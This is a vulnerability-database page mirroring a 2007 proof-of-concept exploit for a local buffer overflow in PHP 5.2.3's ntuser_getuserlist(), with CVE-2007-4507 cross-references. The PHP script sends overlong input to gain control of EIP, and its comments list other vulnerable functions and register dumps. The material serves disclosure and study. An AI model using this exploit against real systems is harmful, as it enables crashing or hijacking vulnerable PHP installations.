Lucene search
+L

PHP 5.2.3 - PHP_ntuser ntuser_getuserlist() Local Buffer Overflow (PoC)

🗓️ 23 Aug 2007 00:00:00Reported by shinnaiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

PHP 5.2.3 - PHP_ntuser ntuser_getuserlist() Local Buffer Overflow (PoC) by shinna

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-4507
23 Aug 200719:00
cve
cvelist
Cvelist
CVE-2007-4507
23 Aug 200719:00
cvelist
euvd
EUVD
EUVD-2007-4490
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-4507
23 Aug 200719:17
nvd
openvas
OpenVAS
PHP < 5.2.4 Multiple Vulnerabilities
17 Aug 202000:00
openvas
openvas
OpenVAS
PHP < 5.2.4 Multiple Vulnerabilities
21 Jun 201200:00
openvas
nessus
Tenable Nessus
PHP < 5.2.4 Multiple Vulnerabilities
3 Sep 200700:00
nessus
prion
Prion
Buffer overflow
23 Aug 200719:17
prion
redhatcve
RedhatCVE
CVE-2007-4507
30 Oct 201509:39
redhatcve
<?php
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//greetz to BrainBugger Crew
//http://www.brainbugger.altervista.org/

//Bug discovered with "Footzo" (thanks to rgod) modified.

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//also theese are vulnerable:
//ntuser_getusergroups <-- DoS, we control EAX
//ntuser_getdomaincontroller <-- DoS, we control EAX
//ntuser_getuserinfo <-- BoF, we control EIP 00410041

//This is the content of registers:

//EAX FFFFFFFE
//ECX 00000754
//EDX 00000041
//EBX 00223D18
//ESP 00C0FB34 UNICODE "CCC... x 100"
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"
//ESI 011AC4A8
//EDI 011ADC00
//EIP 00410041

$buff    = str_repeat("\x41", 250);

$get_EIP = "\x42\x42";

$get_ESP = str_repeat("\x43", 100);

$get_EBP = str_repeat("\x44", 100);

ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
?>

# milw0rm.com [2007-08-23]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.0519
35